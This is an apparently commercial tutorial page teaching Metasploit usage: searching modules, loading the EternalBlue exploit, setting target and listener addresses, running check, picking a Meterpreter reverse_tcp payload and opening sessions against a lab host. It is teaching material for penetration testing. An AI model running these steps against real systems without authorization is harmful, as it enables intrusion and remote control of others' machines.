0Pricing
Ethical Hacking Academy · Lesson

Searching and Using Exploits

Find and run.

Searching and Using Exploits is a free Ethical Hacking Academy lesson on CoddyKit — lesson 2 of 4. You can read the complete lesson below for free — then practise it hands-on in the browser with a built-in code editor and a 24/7 AI tutor. It is part of the Ethical Hacking Academy learning path, one of 4 lessons in the course, and your progress syncs across the web and the CoddyKit app.

From Recon to Exploit

After scanning, you know the target's services and versions. The next step is finding an exploit module that matches a known vulnerability in those versions.

Metasploit's search command is your gateway to thousands of modules. Searching precisely saves time and avoids running the wrong code.

Basic Search

The search command queries the module index by keyword. You can search by software name, CVE, or service.

search eternalblue
search type:exploit platform:windows smb

Search Filters

Refine results with filters:

  • type: exploit, auxiliary, post.
  • platform: windows, linux, unix.
  • cve: a specific CVE identifier.
  • rank: excellent, great, good (reliability).

Combining filters quickly narrows thousands of modules to a handful.

search cve:2017-0144 type:exploit

Reading Search Output

Search results list each module with a rank, a disclosure date, and a check indicator. The rank reflects exploit reliability and safety.

  • excellent: unlikely to crash the target.
  • great/good: reliable under common conditions.
  • low/manual: risky or needs careful setup.

Prefer higher-ranked modules to avoid crashing production systems.

Loading a Module

Use the module's index number or full path with use. The prompt changes to show the loaded module, and the datastore now holds that module's options.

use exploit/windows/smb/ms17_010_eternalblue
# msf6 exploit(windows/smb/ms17_010_eternalblue) >

Inspecting the Module

Before running, read about the module. info shows the description, references (CVEs, advisories), required options, and supported targets.

Understanding what a module does is part of professional, responsible use; never fire an exploit you do not understand.

info
show options
show targets

Setting Options

Configure the required options with set. Common ones for a remote exploit are the target address and your payload settings.

set RHOSTS 10.10.10.40
set RPORT 445
set LHOST 10.10.14.2

The check Command

Many exploits support check, which safely tests whether the target appears vulnerable without actually exploiting it.

Running check first is good practice: it reduces the risk of crashing a system and confirms you are about to spend effort on a real opportunity.

check
# [+] 10.10.10.40:445 - The target is vulnerable.

Choosing the Payload

An exploit needs a payload. Metasploit picks a default, but you can list and choose one suited to the target and your access needs.

show payloads
set PAYLOAD windows/x64/meterpreter/reverse_tcp

Running and Sessions

Launch with exploit (or run). On success you get a session, an interactive connection to the target.

Manage multiple sessions with sessions -l to list and sessions -i N to interact. Background a session with background to keep working in the console.

exploit
sessions -l
sessions -i 1

Global vs Module Options

Some settings, like LHOST, are reused across many modules. Set them globally with setg so you do not retype them each time you switch modules.

  • set: applies only to the current module.
  • setg: applies globally across modules.
  • unsetg: clears a global value.

This saves time during long engagements with many modules.

setg LHOST 10.10.14.2
setg RHOSTS 10.10.10.40

Quick Check

Pick the responsible step before firing an exploit.

Recap

You learned to find and run exploits:

  • Use search with filters (type, platform, cve, rank) to find modules.
  • Prefer higher rank modules for reliability and safety.
  • use to load, info/show options to inspect, set to configure.
  • Run check first; then exploit to gain a session.
  • Manage sessions with sessions -l/-i.

Next: payloads and the Meterpreter post-exploitation shell.

Frequently asked questions

Is the “Searching and Using Exploits” lesson free?

Yes — the full text of “Searching and Using Exploits” is free to read here on the web, and the Ethical Hacking Academy course includes 4 lessons in total. To practise it interactively (a built-in code editor and a 24/7 AI tutor) and unlock the rest of the Ethical Hacking Academy course, upgrade to CoddyKit PRO.

What will I learn in “Searching and Using Exploits”?

Find and run. You practise Ethical Hacking Academy with hands-on code you run directly in the browser, and a 24/7 AI tutor answers your questions as you work through the lesson.

Do I need any experience to start Ethical Hacking Academy?

No prior experience is required. Ethical Hacking Academy on CoddyKit is structured for beginners through advanced learners; this is — lesson 2 of 4, so you can start here or from the beginning and move at your own pace.

How long does the “Searching and Using Exploits” lesson take?

Most CoddyKit lessons take about 5–10 minutes. Each one is bite-sized and interactive, so you make steady progress and pick up exactly where you left off across the web and the app.

Can I write and run code in this Ethical Hacking Academy lesson?

Yes. Every Ethical Hacking Academy lesson includes a built-in code editor, so you write and run real code right in your browser and get instant AI feedback — no local setup required.

All lessons in this course

  1. Metasploit Architecture
  2. Searching and Using Exploits
  3. Payloads and Meterpreter
  4. Post-Exploitation Modules
← Back to Ethical Hacking Academy